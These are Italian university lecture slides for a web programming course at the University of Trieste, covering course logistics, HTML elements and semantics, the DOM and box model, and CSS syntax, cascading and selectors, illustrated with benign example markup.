Programmazione Web

Andrea De Lorenzo, University of Trieste

Gruppo di Ingegneria Informatica

Sylvio Barbon Jr.

Fondamenti di Informatica

Progettazione del software e dei sistemi informativi

meta learning, applied ML, process mining

Alberto Bartoli

Reti di calcolatori

Computer networks 2 and introduction to cybersecurity

security, applied ML, evolutionary computation

Andrea De Lorenzo

Basi di dati

Programmazione web

security, applied AI&ML, information retrieval, GP

Eric Medvet

Programmazione avanzata

Introduction to machine learning and evolutionary robotics

evolutionary computation, embodied AI, applied ML

Laura Nenzi

Cyber-physical systems

Introduction to Artificial Intelligence

formal methods, runtime verification

Martino Trevisan

Reti di calcolatori

Sistemi operativi

Architetture dei sistemi digitali

network measurements, data privacy, big data

Orario lezioni

Giorno Orario Aula
Martedì 15:00 - 16:30 Aula 1 Meccanica Applicata - Edif. C5
Giovedì 15:00 - 16:30 Aula B - Edif. C9
Venerdì 12:00 - 13:30 Aula C - Edif. C9

http://delorenzo.inginf.units.it/

Modalità lezioni

  • Lezioni in presenza, e registrate
  • Registrazioni disponibili per circa 6 mesi nel Team del corso
  • Accessi al Team del corso tramite codice

8xj3c8h

Comunicazioni

Canale Telegram

https://t.me/+-Uz72Ipcw4QyZDQ0

Prerequisiti

  • HTTP (Reti di calcolatori)
  • Java
  • Basi di Dati

Programmare oggi

Qualche numero

Programmare oggi

Qualche numero:

  1. JavaScript
  2. Python
  3. Java
  4. PHP
  5. C#
  6. CSS
  7. TypeScript
  8. C++
  9. Ruby
  10. C

Programma del corso

Programmazione Web

Principi, metodi e tecniche di programmazione del web



Ma cosa significa?

Programma del corso

Ma cosa significa?

  • ≠ Installare o configurare
    • Google Sites
    • Wordpress
    • Joomla
    • Drupal
    • etc.
  • ∞ piattaforme e strumenti

Programma del corso

Corso pratico, molte tecnologie:

Non usare PHP
  • lato client:
    • HTML, CSS, JavaScript
    • Ajax, VueJS
  • lato server:
    • Node.js
    • Web Services

In pratica: come creare un'applicazione web

Software

Useremo solo prodotti disponibili online, gratis:

Materiale didattico

  • Queste slides disponibili sul sito del docente
    (eventualmente in maniera incrementale)
  • Eventuali rimandi di approfondimento nelle slides
    • opzionali
    • obbligatori (→ parte ufficiale del programma)
  • Per chi volesse approfondire:
    • "JavaScript Patterns", di Stoyan Stefanov
    • "JavaScript: The Good Parts", di Douglas Crockford
    • "You Don't Know JS Yet", di Kyle Simpson

Materiale didattico opzionale

Libri di Programmazione:

  • "The Pragmatic Programmer: From Journeyman to Master", di Andrew Hunt
  • "Clean Code - A Handbook of Agile Software Craftsmanship", di Robert C. Martin
  • "Design Patterns", di Gamma, Helm, Johnson e Vlissides
  • "Refactoring: Improving the Design of Existing Code", di Martin Fowler

Materiale didattico opzionale

Libri di Design:

  • "Design of everyday things", di Don Norman
  • "Designing with the Mind in Mind: Simple Guide to Understanding User Interface Design Guidelines", di Jeff Johnson
  • "Don't make me think. Un approccio di buon senso all'usabilità web e mobile", di Steve Krug
  • Seminario di Mark Miller sul design delle UI

Modalità d'esame

  1. Progetto pratico finale ("tesina"), da consegnare tre giorni prima
  2. Esame orale che inizia con la spiegazione della tesina

Modalità d'esame

Alcuni dettagli:

  • svolgimento individuale
  • specifiche fornite dal docente
  • le specifiche cambiano con l'inizio di un nuovo corso

Programmazione Web

ATTENZIONE!!

Le tecnologie che vedremo

Scopo finale: insegnare a pescare, piuttosto che dare il pesce.

Sembra facile...

Programmazione Web

Valutate sempre:

  • Quanti utenti?
  • Affidabilità richiesta?
  • Esiste già qualcosa che risolva il problema?
  • Dove risiederà lato server?
  • Soluzione monolitica?
  • Soluzione modulare?

HTML

HTML

HyperText Markup Language (HTML)

Linguaggio usato per descrivere il contenuto e la struttura dell'informazione di un documento web

Non descrive la presentazione dell'informazione!

pagina web = documento web

Breve storia

  • Preistoria: CERN
    • 1991 → HTML (bozza) prima descrizione disponibile pubblicamente
    • 1993 → HTML+ (bozza)
    • 1995 → HTML 2.0
  • Ieri: W3C
    • 1/1997 → HTML 3.2
    • 12/1997 → HTML 4.0
    • 2000-2001 → XHTML
  • Oggi: W3C + WHATWG
    • 2008-10/2014 → HTML 5 stable W3C Recommendation da ottobre 2014
    • 12/2017 → HTML 5.2

molto più complicata, in realtà

HTML 5 vs. HTML 4

Importanti novità:

  • un solo standard, due possibili sintassi: HTML e XHTML (HTML → <!DOCTYPE html>)
  • nuovi elementi utili per rendere più esplicita la semantica del documento: <article>, <section>, <nav>, <aside>
  • nuovi elementi utili per integrare contenuti multimediali: <audio>, <video>

Approfondimento ufficiale sulle differenze

Per garantire la retro compatibilità, alcune cose possono essere permesse agli interpreti HTML, ma non agli autori

HTML

Le basi

Semplicissimo documento HTML

<!DOCTYPE html>
<html>
  <head>
    <title>Hello HTML</title>
  </head>
  <body>
    <p>
      Ciao <a href="http://www.units.it">UniTs</a>!<br/>
      Stiamo imparando!
    </p>
  </body>
</html>

Elementi, tag, attributi

  • <title>Hello HTML</title>elemento
    • <title>start tag
    • Hello HTML → contenuto
    • </title>end tag
  • Lo start tag può contenere attributi:
    <a href="http://www.units.it">UniTs</a>
    • href="http://www.units.it" → attributo
    • href → nome attributo
    • http://www.units.it → valore attributo

Note

  • Alcuni elementi non hanno contenuto:
    • <img src="cane-bianco.png"/>
    • <br/>
    • c'è solo lo start tag
  • Alcuni attributi non hanno un valore:
    • <input type="checkbox" checked/>
  • I commenti si inseriscono con <!--...-->:
    • <!--questo non lo vede nessuno-->

Header e body

  • <head>header, informazioni aggiuntive sul documento
  • <body> → contenuto informativo documento

Informazioni aggiuntive

  • <title> → titolo del documento
  • <meta name="..." content="...">
    • name="author" → autore del documento
    • name="description" → descrizione del documento
    • name="keywords" → parole chiave del documento ("...,...,...")

Dal documento HTML allo schermo

Browser: HTML → DOM tree → rappresentazione su schermo

Document Object Model (DOM)

Rappresentazione ad albero del documento, in memoria

Alternative allo schermo:

  • sintesi vocale
  • stampante
  • ...

HTML

Regole

Regole

Diversi livelli di correttezza:

  • sintattica (HTML) → chiare, ma "funziona lo stesso"
  • stilistica (HTML) → poche e vaghe
  • stilistica (rappresentazione) → molte e vaghe
  • semantica (HTML) → tante, abbastanza chiare

Regole sintattiche (HTML): annidamento

Gli elementi possono essere annidati ma non sovrapposti

  • <p>Esempio <strong>corretto</strong></p> → corretto
  • <p>Esempio <strong>corretto</p></strong>errato

Regole sintattiche (HTML): valore attributi

Valore degli attributi tra virgolette se contengono spazi

  • <img src="cane-bianco.png" alt="Cane bianco"/> → corretto
  • <img src=cane-bianco.png alt="Cane bianco"/> → corretto
  • <img src="cane-bianco.png" alt=Cane bianco/>errato

Per non sbagliare, mettiamo sempre le virgolette!

Regole sintattiche (HTML): named character references

Caratteri speciali con un nome:

  • &darr;down arrow (↓)
  • &rationals; → razionali (ℚ)
  • tantissimi altri

Regole:

  • nel testo non si può usare &s se s è il nome di uno dei caratteri
  • tutte le named character references vanno terminate con il punto e virgola

Regole sintattiche (HTML): tutto qui?

Sono molte di più!

Come fare?

  • vedere specifica
  • usare un validatore

La specifica

La specifica = IL manuale = la bibbia:
HTML5 W3C Recommendation, https://html.spec.whatwg.org/multipage/

Cosa contiene?

  • quali elementi esistono
  • per ogni elemento, regole di indentazione
  • per ogni elemento, quali attributi
  • per ogni attributo, significato e quali valori validi
  • ...

Anche come introduzione all'HTML

HTML5 W3C Recommendation: manuale dettagliatissimo

Esempio: start tag? end tag? />?

The start and end tags of certain normal elements can be omitted, as described later

Optional tags

complicato, meglio mettere sempre l'end tag

HTML5 W3C Recommendation: manuale dettagliatissimo

Altro esempio: <em>

The em element

Validatore

W3C Validator

Validazione sito UniTS
W3C Validator su www.units.it

... il docente conosce il W3C Validator

Regole stilistiche (HTML)

  • Indentazione!
  • ...
  • Attributi: mettiamo sempre le virgolette!
  • Chiudere i tag opzionali

Regole stilistiche (rappresentazione)

Stile → de gustibus?

Usabilità

Regole stilistiche (rappresentazione)

Usabilità

10 usability crimes

non riguardano solo l'HTML (HTML ≠ rappresentazione)

HTML

Elementi HTML

Elementi HTML

  • <!-- --> → defines a comment
  • <!DOCTYPE> → defines the document type
  • <a> → defines a hyperlink
  • <abbr> → defines an abbreviation
  • <address> → defines an address element
  • ...

Elenco completo:

Elementi HTML: elenco

Tag Description
<!--...--> Defines a comment
<!DOCTYPE>  Defines the document type
<a> Defines a hyperlink
<abbr> Defines an abbreviation or an acronym
<acronym> Not supported in HTML5. Use <abbr> instead.
Defines an acronym
<address> Defines contact information for the author/owner of a document
<applet> Not supported in HTML5. Use <embed> or <object> instead.
Defines an embedded applet
<area> Defines an area inside an image-map
<article> Defines an article
<aside> Defines content aside from the page content
<audio> Defines sound content
<b> Defines bold text
<base> Specifies the base URL/target for all relative URLs in a document
<basefont> Not supported in HTML5. Use CSS instead.
Specifies a default color, size, and font for all text in a document
<bdi> Isolates a part of text that might be formatted in a different direction from other text outside it
<bdo> Overrides the current text direction
<big> Not supported in HTML5. Use CSS instead.
Defines big text
<blockquote> Defines a section that is quoted from another source
<body> Defines the document's body
<br> Defines a single line break
<button> Defines a clickable button
<canvas> Used to draw graphics, on the fly, via scripting (usually JavaScript)
<caption> Defines a table caption
<center> Not supported in HTML5. Use CSS instead.
Defines centered text
<cite> Defines the title of a work
<code> Defines a piece of computer code
<col> Specifies column properties for each column within a <colgroup> element 
Elenco dei tag su w3cschools

Sezioni

  • article → un pezzo di contenuto indipendente; se annidiati, quello interno è legato all'esterno (es: post di un blog e suoi commenti).
  • section → un raggruppamento di contenuti parte di un contenuto più ampio, tipicamente con un titolo
  • nav → sezione con i link di navigazione
  • aside → un pezzo di contenuto ortogonale al suo contesto (es: note, messaggi twitter, ecc.)

Sezioni

  • h1, ..., h6 → titoli (headings) (⚠ non usare per sottotitoli o tagline!)
  • header → contenuto introduttivo (es: titolo e navigazione)
  • footer → per informazioni legate alla sezione (es: autore, link aggiuntivi, copyright, ecc.)
  • address → informazioni di contatto (⚠ non generici indirizzi)

Sezioni: domande

  • Il font di h1 è più grande di quello di h2?
  • Lo spazio verticale tra due section è più grande di quello dopo un article?
  • Come viene rappresentato il tag address?

Sezioni: domande

Male, non dovreste chiedervelo!

HyperText Markup Language (HTML)

Linguaggio usato per descrivere il contenuto e la struttura dell'informazione di un documento web

Non la rappresentazione!

Raggruppare il contenuto

<h2>Le mie memorie</h2>
<p>
  Non me le ricordo più...
</p>
  • p → paragrafo
  • hr → cambio di argomento (non necessario tra sezioni)
  • pre → testo preformattato
  • blockquote → citazione esterna
  • main → contenuto principale della pagina, non ripetuto nel sito. ⚠ uno per pagina!

Raggruppare il contenuto

      <h3>Ingredienti</h3>
      <ul>
      <li>pesto alla siciliana</li>
      <li>fusilli</li>
      <li>formaggio grattugiato</li>
      </ul>
      <h3>Preparazione</h3>
      <ol>
      <li>cucinare la pasta</li>
      <li>aggiungere il pesto</li>
      <li>guarnire con formaggio a piacere</li>
      </ol>
  • ulunordered list
  • olordered list
  • lilist item

⚠ non vanno inseriti nei paragrafi!

A capo

  • CR+LF ≠ nuova linea
  • brline break, fa parte del contenuto

br elements must be used only for line breaks that are actually part of the content, as in poems or addresses.

must be used? → correttezza semantica (HTML)

Semantica testuale

  • em → il contenuto dell'elemento merita enfasi
  • strong → il contenuto è importante
  • mark → testo evidenziato per riferimento (es: testo cercato)
  • s → il contenuto è un pezzo non più accurato o rilevante
  • sub e sup → testo in pedice e apice

Semantica testuale

  • i → lettura diversa (es: altra lingua, termine tecnico, ecc.)
  • u → testo con annotazione non testuale (es: volutamente errato)
  • Authors are encouraged to avoid using the u element where it could be confused for a hyperlink.
  • b → richiamare l'attenzione
    The b element should be used as a last resort when no other element is more appropriate.

Rappresentare codice

  • code → il contenuto è un pezzo di codice sorgente
  • samp → output prodotto dal codice
  • var → una variabile
  • kbd → input da tastiera... circa
    • inserito nel samp → il tasto è stato premuto dall'utente e mostrato a schermo
    • contiene un tag samp → è stato selezionato un menù
    • contiene altri kbd → combinazione di tasti

Esempio kbd

Please press Ctrl + Shift + R to re-render a page.

Please press Ctrl + Shift + R to re-render a page.

Esempio samp in kbd

To create a new file, choose the menu option FileNew Document .

Don't forget to click the OK button to confirm once you've entered the name of the new file.

To create a new file, choose the menu option FileNew Document.

Don't forget to click the OK button to confirm once you've entered the name of the new file.

Hyperlink

Vado all'<a href="http://www.units.it">università</a>
  • a → link (anchor) ad un altro documento
  • href="" → ubicazione dell'altro documento
    • stesso sito (url relativo) → href="udine.html"
    • altro sito (url assoluto) → href="http://www.units.it"
    • stesso documento → href="#persone"
    • indirizzo email → href="mailto:andrea.delorenzo@units.it"

link è un'altra cosa

Immagini

<img src="cane-bianco.jpg" alt="Il cane bianco"/>
  • src → ubicazione della risorsa immagine
  • altfallback content: content that is to be used when the external resource cannot be used

Immagini: attributo alt

alt è obbligatorio?

Except where otherwise specified, the alt attribute must be specified and its value must not be empty; the value must be an appropriate replacement for the image.

One way to think of alternative text is to think about how you would read the page containing the image to someone over the phone, without mentioning that there is an image present.

In some cases, the icon is supplemental to a text label conveying the same meaning. In those cases, the alt attribute must be present but must be empty.

[...] In such cases, the alt attribute may be omitted, but one of the following conditions must be met [...]

"Quasi" obbligatorio metterlo, ma può essere alt=""

Tabelle

<table>
  <caption>Orari della Linea 36</caption>
  <thead>
    <tr><th>Ora</th><th>Minuto</th></tr>
  </thead>
  <tbody>
    <tr><td>8</td><td>00 15 30 45</td></tr>
    <tr><td>9</td><td>15 45</td></tr>
  </tbody>
</table>
  • caption → titolo, intestazione
  • thead; tfoot → etichette delle colonne; totali, ecc... (header, footer)
  • tbody → corpo (con i valori)
  • tr → riga (table row)
  • td, th → cella (table data/header cell)

Tabelle

Non si usano per formattare!

Tables must not be used as layout aids. Historically, some Web authors have misused tables in HTML as a way to control their page layout. This usage is non-conforming, because tools attempting to extract tabular data from such documents would obtain very confusing results. In particular, users of accessibility tools like screen readers are likely to find it very difficult to navigate pages with tables used for layout.

There are a variety of alternatives to using HTML tables for layout, primarily using CSS positioning and the CSS table model.

div e span

The div element has no special meaning at all. It represents its children. It can be used with the class, lang, and title attributes to mark up semantics common to a group of consecutive elements.

→ a livello di BLOCCO

The span element doesn't mean anything on its own, but can be useful when used together with the global attributes, e.g. class, lang, or dir. It represents its children.

→ all'interno di una linea di testo

div: esempio

<article lang="en-US">
  <h1>My use of language and my cats</h1>
  <p>My cat's behavior hasn't changed much since her absence, except
  that she plays her new physique to the neighbors regularly, in an
  attempt to get pets.</p>
  <div lang="en-GB">
    <p>My other cat, coloured black and white, is a sweetie. He followed
    us to the pool today, walking down the pavement with us. Yesterday
    he apparently visited our neighbours. I wonder if he recognises that
    their flat is a mirror image of ours.</p>
    <p>Hm, I just noticed that in the last paragraph I used British
    English. But I'm supposed to write in American English. So I
    shouldn't say "pavement" or "flat" or "colour"...</p>
  </div>
  <p>I should say "sidewalk" and "apartment" and "color"!</p>
</article>

span: esempio

<code class="lang-c"><span class="keyword">for</span> (<span class="ident">j</span> = 0; <span class="ident">j</span> &lt; 256; <span class="ident">j</span>++) {
  <span class="ident">i_t3</span> = (<span class="ident">i_t3</span> & 0x1ffff) | (<span class="ident">j</span> &lt;&lt; 17);
  <span class="ident">i_t6</span> = (((((((<span class="ident">i_t3</span> >> 3) ^ <span class="ident">i_t3</span>) >> 1) ^ <span class="ident">i_t3</span>) >> 8) ^ <span class="ident">i_t3</span>) >> 5) & 0xff;
  <span class="keyword">if</span> (<span class="ident">i_t6</span> == <span class="ident">i_t1</span>)
    <span class="keyword">break</span>;
}</code>
for (j = 0; j < 256; j++) {
i_t3 = (i_t3 & 0x1ffff) | (j << 17);
i_t6 = (((((((i_t3 >> 3) ^ i_t3) >> 1) ^ i_t3) >> 8) ^ i_t3) >> 5) & 0xff;
if (i_t6 == i_t1)
break;
}

HTML

Attributi globali

Attributo id

id → identificatore univoco

  • unico in tutto il documento
  • senza spazi: <section id="abstract">

Può essere usato per:

  • link interni <a href="#abstract">
  • ... vedremo

Identifiers are opaque strings. Particular meanings should not be derived from the value of the id attribute.

Attributo title

title → indicazione descrittiva

  • <a href="udine.html" title="Scheda della città dei vicini">Udine</a>
  • <abbr title="Cascading Style Sheet">CSS</abbr>

Advisory information for the element, such as would be appropriate for a tooltip.

⚠ Attenzione...

  • Non considerateli tooltip (es: tablet?)
  • Ereditarietà
  • new line nell'HTML → new line per davvero!

Attributi lang e translate

lang → lingua principale del contenuto

<p lang="it">L'inglese è difficile da pronunciare:
ad es. la parola <span lang="en-UK">Wednesdey</span>.</p>
<p lang="de"><span lang="en-UK">Wednesdey</span>
ist ein schwieriges Wort auszusprechen.</p>

translate → localizzare o meno questo contenuto

Valori enumerati:

  • yes
  • no

Es: frammenti di codice, input da tastiera, menù, etc.

Attributo class

Valore: un set di nomi separati da spazi: <span class="keyword importante">if</span>

Authors are encouraged to use values that describe the nature of the content, rather than values that describe the desired presentation of the content

correttezza semantica (HTML)

Attributo data-*

<section data-dog-weight="12.8kg" data-dog-speed="75%">
<h1>Cane bianco</h1>
<p>Il cane bianco è tozzo ma veloce.</p>
</section>
  • quello che segue a data- è il nome del custom attribute
  • dati privati per la pagina (o l'applicazione)
  • CamelCase → camel-case (⚠ maiuscole non ammesse)

Attributi dir e style

dir → direzione del testo

style → aspetto dell'elemento, vedremo poi

Riassunto: organizzazione elementi semantici

<header>
<nav>
<section><aside>
<article>
<footer>

article in section o il contrario?

The article element specifies independent, self-contained content.

The section element defines section in a document.

Possiamo usare la definizione per capire come annidare questi elementi? No.

In alcune pagine HTML section conterrà article e in altre article conterrà section

Esercizio HTML-1

Scrivere un documento (solo) HTML sulla propria città o quartiere.

Contenuto (item):

  • i 3 personaggi/animali più famosi
  • oppure, i 3 edifici/luoghi più belli

Valuteremo la correttezza sintattica, semantica e stilistica del documento HTML

Esercizio HTML-1

Regole:

  • almeno 3 item con almeno 3 sezioni
  • usare aside, i, em, strong, nav, lang, li
  • ogni item con almeno 500 caratteri di testo
  • tot. documento con almeno 5000 caratteri di testo
  • almeno un link interno

Editor di testo

Scegliete voi, io suggerisco

Editor di testo - ATOM

Pacchetti consigliati:

Editor di testo - Visual Studio Code

Estensioni consigliate:

Rappresentazione dell'HTML

Rappresentare un documento HTML

HyperText Markup Language (HTML)

Linguaggio usato per descrivere il contenuto e la struttura dell'informazione di un documento web

Il browser visualizza il documento:
come lo disegna sullo schermo?

Come lo disegna?

  1. HTML
  2. DOM tree
    (rappresentazione in memoria)
  3. rappresentazione su schermo

Come?

  • HTML → DOM tree: regole di trasformazione implicite
  • DOM tree → schermo: ...

HTML → DOM tree

HTML

<!DOCTYPE html>
<html>
 <head>
  <title>Sample page</title>
 </head>
 <body>
  <h1>Sample page</h1>
  <p>This is a <a href="demo.html">simple</a> sample.</p>
  <!-- this is a comment -->
 </body>
</html>

HTML → DOM tree

DOM tree:

  • DOCTYPE: html
  • html
    • head
      • #text: ⏎␣␣
      • title
        • #text: Sample page
      • #text: ⏎␣
    • #text: ⏎␣
    • body
      • #text: ⏎␣␣
      • h1
        • #text: Sample page
      • #text: ⏎␣␣
      • p
        • #text: This is a
        • a href="demo.html"
          • #text: simple
        • #text: sample.
      • #text: ⏎␣␣
      • #comment: this is a comment
      • #text: ⏎␣⏎

DOM tree: nomenclatura

Consideriamo il sottoalbero del nodo body (alcuni #text omessi):

  • body
    • h1
      • #text: Sample page
    • p
      • #text: This is a
      • a href="demo.html"
        • #text: simple
      • #text: sample.
    • #comment: this is a comment
  • il nodo body è parent del nodo h1
  • i nodi p, #comment, ... sono sibling del nodo h1
  • i nodi h1, p, ... sono children del nodo body
  • i nodi a, h1, p, ... sono descendant del nodo body
  • i nodi tipo body, p, h1, a sono elementi
  • i nodi #text sono testo (non hanno children!)

DOM tree → schermo: informalmente

Per ogni nodo del DOM tree:

  • cosa va disegnato?
  • dove?
  • come?

lettura del documento: "disegnato" → "pronunciato", "dove" → "quando"

Immaginate di essere il browser, o di dover scrivere il codice del programma browser...

DOM tree → schermo: formalmente

Obiettivo: DOM tree → boxes tree

Principali regole della trasformazione:

  • ogni elemento E del DOM tree può generare zero o più box
  • un box BE dell'elemento E può essere child di un altro box B'E di E o child di un box BEp di Ep parent di E

Cosa va disegnato?

Un elemento viene disegnato se e solo se sono valide tutte le condizioni:

  • il parent è stato disegnato (o non ha parent)
  • non è esplicitamente indicato come "da non disegnare"

Dove va disegnato?

Premessa: tipi di box

  • block-level boxcome un paragrafo
  • line boxcome una riga di testo
  • inline-level boxcome una parola

Tipi di box: contenuto

Cosa possono contenere:

  • block-level box
    • block-level boxes
    • line boxes
  • line box
    • inline-level boxes
  • inline-level box
    • testo
    • inline-level boxes
    • block-level boxes (es: una lista dentro un elemento strong)

Dove va disegnato?

A grandissime linee:

  • block-level box consecutivi vengono messi uno sotto l'altro dentro il parent block-level box

    Cerca di riempire tutto lo spazio orizzontale disponibile

  • line box consecutivi vengono messi uno sotto l'altro dentro il parent block-level box
  • inline-level consecutivi vengono messi uno accanto all'altro dentro il parent line-level box

    Occupa solo lo spazio strettamente necessario

"consecutivi" → si segue l'ordine del DOM tree

Block-Level boxes

Lista non completa:

  • p
  • table
  • nav
  • div
  • form
  • main, article, section
  • h1, h2, ...
  • ...ecc.

Inline-Level boxes

Lista non completa:

  • a
  • span
  • em
  • strong
  • input, button, textarea
  • img
  • ...ecc.

Line boxes

E che elementi generano Line Boxes?

Sono generati in automatico!

The rectangular area that contains the boxes that form a line is called a line box.

When several inline-level boxes cannot fit horizontally within a single line box, they are distributed among two or more vertically-stacked line boxes. Thus, a paragraph is a vertical stack of line boxes.

When an inline box exceeds the width of a line box, it is split into several boxes and these boxes are distributed across several line boxes. If an inline box cannot be split (e.g., if the inline box contains a single character, or language specific word breaking rules disallow a break within the inline box, or if the inline box is affected by a white-space value of nowrap or pre), then the inline box overflows the line box.

Esempio

DOM tree e boxes
Semplificazione del passaggio HTML → boxes

Come viene disegnato?

Ci manca qualcosa:

  • dato un elemento, che tipo di box genera?
  • dato un elemento, quanto margin ha?
  • ...
  • "come viene disegnato?"

"tipo di box", "margin", ... → style properties dei box

Properties e CSS

Cascading Style Sheet (CSS)

Un documento che specifica quali valori dare alle proprietà di quali elementi

  • sheet → foglio, documento
  • styleproprietà inerenti la rappresentazione stilistica
  • cascading → vedremo...

CSS

Cascading Style Sheet (CSS)

Un documento che specifica quali valori dare alle proprietà di quali elementi

"all'elemento di tipo p deve corrispondere un box di tipo block-level con un margine di 1cm"

HTML senza CSS?

Ma il browser visualizza comunque la mia pagina, senza che io gli abbia fornito un CSS!

regole implicite

The CSS rules given in these subsections are, except where otherwise specified, expected to be used as part of the user-agent level style sheet defaults for all documents that contain HTML elements.

Nella specifica, segue un CSS

CSS

CSS: breve storia

  • 1996 → CSS 1
  • 1998 → CSS 2
  • 2011 → CSS 2.1
  • (2005) → CSS 3 (ancora in sviluppo)
You don't need to be a programmer or a CS major to understand the CSS specifications. You don't need to be over 18 or have a Bachelor's degree. You just need to be very pedantic, very persistent, and very thorough.

CSS: principi base

  • Compatibilità: forward e backward
  • Complementare ai documenti strutturati (HTML e XML)
  • Slegato da Vendor/Platform/Device (circa, v. stampanti)
  • Manutenzione facile
  • Semplice: un solo modo per ottenere l'effetto
  • Performance di rete (es: non mando immagini ma testo elaborato)
  • Flessibile: posso definirlo in più punti
  • Compatibile con altri linguaggi (es: JS)
  • Accessibilità

CSS 3: la "bibbia"?

Meno semplice rispetto all'HTML: la specifica è modulare

As the popularity of CSS grows, so does interest in making additions to the specification. Rather than attempting to shove dozens of updates into a single monolithic specification, it will be much easier and more efficient to be able to update individual pieces of the specification. Modules will enable CSS to be updated in a more timely and precise fashion, thus allowing for a more flexible and timely evolution of the specification as a whole.

For resource constrained devices, it may be impractical to support all of CSS. For example, an aural browser may be concerned only with aural styles, whereas a visual browser may care nothing for aural styles. In such cases, a user agent may implement a subset of CSS. Subsets of CSS are limited to combining selected CSS modules, and once a module has been chosen, all of its features must be supported.

CSS: specifica modulare

Stato di sviluppo dei moduli della specifica

CSS: definizioni

Cascading Style Sheet (CSS)

Una lista ordinata di regole (rules)

Regola

  • selector → a quali elementi si rivolge la regola
  • zero o più declaration → cosa si applica a quegli elementi

Declaration

  • nome proprietà
  • valore proprietà

non si applica solo ai documenti HTML

Sintassi di un CSS

selector {
  property-name: property-value;
  property-name: property-value;
  ...
}

selector { /* commento */
  property-name: property-value;
  property-name: property-value;
  ...
}

/* commento */

La specifica dice:

  • qual è la sintassi del selector
  • quali sono i nomi delle proprietà
  • per ogni proprietà, quali sono i possibili valori (sintassi)

@ Rule

Vi sono delle regole particolari, che iniziano con @:
  • @charset
  • @import
  • @namespace
  • @media
  • @viewport
  • ...

Ma ne parleremo poi...

Sintassi di un CSS

Attenzione: se la sintassi di una regola non è corretta, il browser deve ignorare tutta la regola!

"deve ignorare" = "la specifica raccomanda che il browser ignori" → il browser potrebbe non ignorare...

diverso da quanto accade per l'HTML

Sintassi di un CSS

Tre livelli di correttezza:

  • sintattica (CSS) → altrimenti viene ignorato
  • stilistica (CSS) → indentazione, please!
  • stilistica (rappresentazione: HTML+CSS)

esiste il validatore per i CSS

Ubicazione di un CSS

Chi stabilisce lo stile?

  • Author
  • User
  • User agent

Ubicazione di un CSS: Author

Dove specifico che voglio usare certe regole per un certo documento HTML d? Tre metodi:

  • come documento di testo esterno a d:
    <link rel="stylesheet" type="text/css" href="...">
  • embedded in d, come contenuto di un elemento style:
    <style>...</style>
  • dentro (inline) d: con la/le sola/e declaration come valore di un attributo style dell'elemento a cui voglio applicare la regola (il selector non serve!):
  • <p style="...">

Ubicazione di un CSS: @import

La regola @import permette di importare in un codice CSS altri fogli di stile

  • Deve essere la prima riga del file CSS
    • prima ci può essere solo @charset
  • Lo user-agent incorporerà il file come se fosse scritto in quel punto
  • È possibile inserire condizioni (es: tipo di dispositivo, risoluzione, ecc.)

Es: importazione di Google Web Font

<link href="https://fonts.googleapis.com/css?family=Roboto" rel="stylesheet" >

font-family: 'Roboto', sans-serif;

CSS

CSS Cascading

Fonte

Tanti metodi...

Si possono usare tutti i metodi assieme → vengono applicate tutte!

  • Più documenti esterni (più <link ...>)

    link serve anche per altre cose

  • E se più regole sono in conflitto? (regole che specificano valori diversi per la stessa proprietà di uno o più elementi)
  • E se qualche proprietà non è stata definita?

Ereditarietà (inheritance)

Se una proprietà P non è definita per un elemento E, l'elemento eredita il valore di P del suo parent (parent di E)

  • Per molti elementi e molte proprietà, si usa il valore specificato nello user-agent level style sheet

Inheritance → cascading style sheet

Ereditarietà: valori delle proprietà

Come calcolo il valore di ogni proprietà?

Sei valori per ogni proprietà...

  1. Dichiarato: esplicitamente nel codice
  2. Ereditato (cascaded): dopo aver applicato l'ereditarietà
  3. Specificato: prende il default se non dichiarato e non ereditato
  4. Calcolato: "2 volte l'altezza del font"
  5. Usato: dopo l'elaborazione del parent (es: "10% larghezza")
  6. Finale: richieste impossibili per l'User Agent → 10.9 diventa 11

Ereditarietà: valori delle proprietà

Esempi:

Dichiarato Ereditato Specificato Calcolato Usato Finale
text-align: left left left left left left
width: (none) (none) auto auto 120px 120px
font-size: 1.2em 1.2em 1.2em 14.1px 14.1px 14px
width: 80% 80% 80% 80% 354.2px 354px

em è la dimensione del font → 2em = 2 volte la dimensione del font.

Ereditarietà: conflitto

Se più regole sono in conflitto?

  1. metodo (origine)
    1. inline style sheet (style="...", più importante)
    2. embedded style sheet (<style>)
    3. documento esterno (<link>)
    4. user level stle sheet
    5. user-agent level style sheet (meno importante)
  2. specificità (vedremo)
  3. ordine di definizione (vale l'ultima)

Ereditarietà: !important

CSS attempts to create a balance of power between author and user style sheets. By default, rules in an author’s style sheet override those in a user’s style sheet.

!important cambia la priorità:

  1. User-agent
  2. User
  3. Author

Esempio:

{ background-color: lightgrey !important; }

Qualche caso d'uso legittimo per !important

  • State usando un Content Management System (CMS: Wordpress, Drupal, ...) e non potete modificare lo stile
  • Volete dare uno stile uniforme ai bottoni del vostro sito, quindi definiti una regola generica. Poi aggiungete una regola con specificità maggiore che la sovrascrive (vedremo). In questo caso !important risolve il problema

Qualche caso d'uso legittimo per !important

.button {
  background-color: #8c8c8c;
  color: white;
  padding: 5px;
  border: 1px solid black;
}

#myDiv a {
  color: red;
  background-color: yellow;
}
.button {
  background-color: #8c8c8c !important;
  color: white !important;
  padding: 5px !important;
  border: 1px solid black !important;
}

#myDiv a {
  color: red;
  background-color: yellow;
}

Valori predefiniti

Alcune parole chiave permettono di forzare alcuni comportamenti:

  • initial → valore predefinito
  • inherit → ottenuto dagli ancestor
  • ...ve ne sono altre (unset, revert)

CSS

CSS selectors

Fonte

Selector

CSS selector

Espressione che applicata ad un elemento restituisce un booleano

fselector(E) ∈ {true, false}

La specifica descrive tutte le possibili funzioni f

Selectors principali

  • * → qualsiasi elemento (f*(E) = true, ∀ E)
  • e → gli elementi di tipo <e>
  • f e → gli elementi di tipo <e> descendant di elementi di tipo <f>
  • e.className → gli elementi di tipo <e> di classe "className"
  • e#idName → gli elementi di tipo <e> che hanno il valore dell'attributo id uguale a "idName"

descendant ≠ child

<img class="photo old" src="..."/> è selezionato sia da img.photo che da img.old

Combinazione di selectors

I selectors si possono "combinare":

  • e.c1 f → un <f> descendant di un <e> con classe "c1"
  • e f g → un <g> descendant di un <f> descendant di un <e>
  • e * → tutti i descendant di un <e>

Il selettore universale * si può omettere in certi casi:

  • *.c1=.c1 → un elemento qualsiasi con classe "c1"
  • *#id1=#id1 → un elemento qualsiasi con id "id1"

Selectors sulla parentela

  • e > f → un <f> child di un <e>
  • e + f → un <f> inserito subito dopo un suo sibling <e>
  • e ~ f → un <f> inserito dopo un suo sibling <e>

Selectors sugli attributi

  • e[a] → un <e> con un attributo a
  • e[a="val"] → un <e> con un attributo a uguale "val"
